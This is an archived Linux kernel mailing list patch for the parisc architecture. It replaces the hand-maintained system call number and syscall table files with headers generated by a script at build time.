        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:11:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPe-0006Xq-LK
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:11:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727372AbeJZNti (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:38 -0400
Original-Received: from mail-pl1-f196.google.com ([209.85.214.196]:36474 "EHLO
        mail-pl1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726998AbeJZNth (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:37 -0400
Original-Received: by mail-pl1-f196.google.com with SMTP id y11-v6so4932170plt.3
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:14:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=HNkgwMg90xKa9v4D1Pk9GjlliLxdADVJolJJHn8N56A=;
        b=bCLLig2msJRJFDM36c2TLMrm9z8axDKl/8XO8GrxZ1r7OonSIYzFw2fwIq1kQHTeNG
         Atx0a/pExbAkhgRG8ZVpV0ymT44pL5Bh4N55cGufFvNm7j5A2N1AEZdPkGvPwyK7gmnT
         tOVBOCxnZbHLPCOdr9yaoNyCShoK6+bzd3TDw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=HNkgwMg90xKa9v4D1Pk9GjlliLxdADVJolJJHn8N56A=;
        b=HuCQ9EYtiHQt/8AyOVA7IURjcHX1m4lgqt+T1URQTjMo6oWWEumDwMSPG2vB3HgTw3
         w8BnjjW1721AfMLiN6FE8hE6KfAL7jMRlHtvzeuQwCj2V6y4w4hMeo+ennRcbRp9cjjl
         snRtpKwXV5ULzV/Y9Rc43H8XoC3SHJbm8vi12ieyNSWEztIqMAwE7m2k6o5bP1zUF6wv
         rY0JL1Hr+FqTBGM4ii3+5wYXdbAlZvw1ckg6d8Zv0HHgr8mhiV2Wdpuv7V2yJHRZngCJ
         Yli/C1FFIcszDaj5RrwxYABxaelzdTp8VpShRfpGtAsDERVGye03OXNc32h48QU6fSSV
         5/yQ==
X-Gm-Message-State: AGRZ1gKY/dTwFxVqGhZFhNZjOGGouJx2o1kN4z5wfn+MCTXcce4ZHe2m
        HvAe5RrKnZel2JTRjDZB33jIhQ==
X-Google-Smtp-Source: AJdET5fVcJTNet1/dTZ5wZXN0jPk9CjVTwrRtH6+bvaam39WnjRLbVA8TB+oeFMjcESDHcqdsPumVg==
X-Received: by 2002:a17:902:9009:: with SMTP id a9-v6mr2118897plp.134.1540530846121;
        Thu, 25 Oct 2018 22:14:06 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.14.00
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:14:05 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908465 gmane.linux.ports.parisc:29246 gmane.linux.kernel.year-2038:3556 gmane.linux.kernel.cross-arch:48098
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908465>

System call table generation script must be run to gener-
ate unistd_32/64.h and syscall_table_32/64/c32.h files.
This patch will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table-
_32/64/c32.h files by the syscall table generation script
invoked by parisc/Makefile and the generated files against
the removed files must be identical.

The generated uapi header file will be included in uapi/-
asm/unistd.h and generated system call table header file
will be included by kernel/syscall.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
 arch/parisc/kernel/syscall.S          |  11 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 6 files changed, 23 insertions(+), 829 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..6b66fb9 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generic-y += syscall_table_32.h
+generic-y += syscall_table_64.h
+generic-y += syscall_table_c32.h
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..04360d9 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += unistd_32.h
+generic-y += unistd_64.h
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index f10d065..518c1d6 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,374 +2,13 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#ifdef __KERNEL__
-#define __NR_syscalls           351
+#define __NR_Linux           0
+#ifdef __LP64__
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
 #endif
 
-#define LINUX_GATEWAY_ADDR      0x100
+#define LINUX_GATEWAY_ADDR   0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..5af0176 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,19 +923,24 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
+#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
 	.align 8
 ENTRY(sys_call_table)
 	.export sys_call_table,data
-#include "syscall_table.S"
+#ifdef CONFIG_64BIT
+#include <asm/syscall_table_c32.h>   /* Compat syscalls */
+#else
+#include <asm/syscall_table_32.h>    /* 32-bit native syscalls */
+#endif
 END(sys_call_table)
 
 #ifdef CONFIG_64BIT
 	.align 8
 ENTRY(sys_call_table64)
-#define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
+#include <asm/syscall_table_64.h>    /* 64-bit native syscalls */
 END(sys_call_table64)
 #endif
+#undef __SYSCALL
 
 	/*
 		All light-weight-syscall atomic operations 
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
